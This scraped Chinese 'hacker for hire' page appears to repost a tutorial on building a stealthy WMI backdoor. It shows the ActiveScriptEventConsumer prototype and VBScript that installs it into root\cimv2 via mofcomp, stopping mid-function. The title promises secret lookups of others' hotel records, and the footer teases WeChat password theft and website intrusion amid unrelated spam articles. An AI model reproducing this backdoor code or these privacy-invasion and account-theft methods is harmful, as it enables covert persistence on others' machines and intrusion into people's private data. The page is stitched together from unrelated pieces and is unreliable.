如何查询在酒店在宾馆和谁在一起的开房记录(偷偷查,发...

访客4年前关于黑客接单709

来源:菠萝的菠萝格 

Welcome!各位ScriptKid,欢迎来到脚本世界。 

今天忙了一天,比较累。不废话那么多了,切入正题。 

这个“三无”后门的核心就是WMI中的永久事件消费者ActiveScriptEventConsumer(以下简称ASEC)。WMI中有许多这 类的事件消费者,简单的来说,当与其绑定的事件到达时,消费者就会被触发执行预先定义好的功能。例如可以用来执行二进制程序的 CommandLineEventConsumer等等 

ASEC是WMI中的一个标准永久事件消费者。它的作用是当与其绑定的一个事件到达时,可以执行一段预先设定好的 *** /VBS脚本。 

先来看一下其原型: 

复制代码代码如下:
class ActiveScriptEventConsumer : __EventConsumer 

uint8 CreatorSID = {1,1,0,0,0,0,0,5,18,0,0,0}; //事件消费者的CreatorSID 只读 
uint32 KillTimeout = 0; //脚本允许被执行的时间 默认为0,脚本不会被终止 
string MachineName; 
uint32 MaximumQueueSize; 
string Name; //自定义的事件消费者的名字。 
string ScriptingEngine; //用于解释脚本的脚本引擎。VBScript或者 *** cript 
string ScriptFileName; //如果你想从一个文件里面读取想执行的脚本的话,写上这里吧。 
string ScriptText; //用于执行的脚本代码。与ScriptFileName不共戴天。有你没我,有我没你 
}; 


ASEC的安装 

对于XP以后的系统来说,ASEC已经默认安装到了root\subscription名称空间。我们可以直接调用。2000自带有ASEC的 mof文件,但是没有默认安装,需要我们自己安装。另外由于大部分的事件都是在root\cimv2里产生,所以如果你想直接捕获一些系统事件作为触发器 的话,还得在其他的名称空间中安装ASEC。来看一下在2000/XP/Vista下安装ASEC到root\cimv2的代码。 

复制代码代码如下:
Function InstallASECForWin2K ’安装ASEC For Windows 2000’ 
Dim ASECPath2K 
ASECPath2K = XShell.Expandenvironmentstrings("%windir%\system32\wbem\") 
Set MofFile = FSO.opentextfile(ASECPath2K&"scrcons.mof",1,False) 
MofContent = MofFile.Readall 
MofFile.Close 
MofContent = Replace(MofContent,"\\Default","\\cimv2",1,1) ‘替换默认的名称空间 
TempMofFile=ASECPath2K&"Temp.mof" 
Set TempMof=FSO.CreateTextFile(TempMofFile,False,True) 
TempMof.Write MofContent 
TempMof.close 
XShell.run "mofcomp.exe -N:root\cimv2 "&TempMofFile,0,TRUE 
FSO.DeleteFile(TempMofFile) 
ASECStatus = "Ready" 
’Wscript.Echo "ASECForWin2K Install OK!" 
End Function 
Function InstallASECForWinXP ’安装ASEC For Windows XP’ 
Dim ASECPathXP 
XPASECPath = XShell.Expandenvironmentstrings("%windir%\system32\wbem\") 
XShell.run "mofcomp.exe -N:root\cimv2 "&XPASECPath&"scrcons.mof",0,TRUE ’直接运行安装即可 
ASECStatus = "Ready" 
’Wscript.Echo "ASECForWinXP Install OK!" 
End Function 
Function InstallASECForVista ’安装ASEC For Windows Vista’ 
Dim ASECPath2K 
ASECPath2K = XShell.Expandenvironmentstrings("%windir%\system32\wbem\") 
Set f = FSO.GetFile(ASECPath2K&"scrcons.mof") 
Set MofFile = f.OpenAsTextStream(1,-2) 
’Set MofFile = FSO.opentextfile(ASECPath2K&"scrcons.mof",1,False) 
MofContent = MofFile.Readall 
MofFile.Close 
MofContent = Replace(MofContent,"#pragma autorecover","",1,1) //需要删除autorecover,否则安装出错 
TempMofFile=ASECPath2K&"Temp.mof" 
Set TempMof=FSO.CreateTextFile(TempMofFile,False,True) 


相关文章

鼎贝:新用户快速免费赚到3元!

鼎贝是一个转发文章赚钱的平台,和大多数转发平台一样,没什么特色,新用户注册免费赠予0.35米,首次分享再送0.35米,转发一篇被阅读0.3米/次,首次最低3米即可提现。没人看不要紧,另有我们的三大法宝...

罗汉果的功效与作用?经常用罗汉果泡水,有3个好处

罗汉果的功效与作用?经常用罗汉果泡水,有3个好处

罗汉果属于名贵的中药材,具有排毒养颜和生津止渴的功效,同时也可以润肺化痰,只要坚持服用能够延年益寿,特别适合于便秘咳嗽以及咽喉肿痛的人群,罗汉果泡水喝有哪些功效呢。   罗汉果泡水喝有哪些功效...

京东超市这6句文案,很奇葩

京东超市这6句文案,很奇葩

文案要出彩,奇葩也是一个切入点哈哈。 年味那么多 这么奇葩的算第一个 ▼ 众生皆苦 但我家里是香的 且敬旧事一杯酒 啤酒白酒葡萄酒 说一千道一万 来包零食接着干 谢天谢地不谢顶 毛多毛少没短...

盗微信号最简朴的方式,弄到别人微信密码方式

盗微信号出现异常朴素的方法,弄到别人微信密码方法盗人号逃避责任,最好无须有那般的想法能窃取别人的微信吗?黑客技术当 然能窃取你的信息,而 且还可以把家中的车取走,只不过他讲到的你 别信就是了,全中 国...

可以通过一个手机号码查到一个人的信息吗-高效

首先,观察指定网站。 入侵指定网站是需要条件的: 要先观察这个网站是动态还是静态的。 首先介绍下什么样站点可以入侵:我认为必须是动态的网站 如ASP、PHP、 JSP等代码编写的站点 如果是静态的(....

烧饼皇后续集(烧饼皇后演员表)

角色演员配音备注朱秀容关咏荷王晓燕阿秀,假皇后萧璃关咏荷王晓燕真皇后秦简郭晋安金永钢----霍香戴娇倩刘明珠李小牛皇上王。 皇上到静安宫告诉秀容,民间都在传娘娘的肚皮是假的,叫她不要再装怀孕了。秦简听...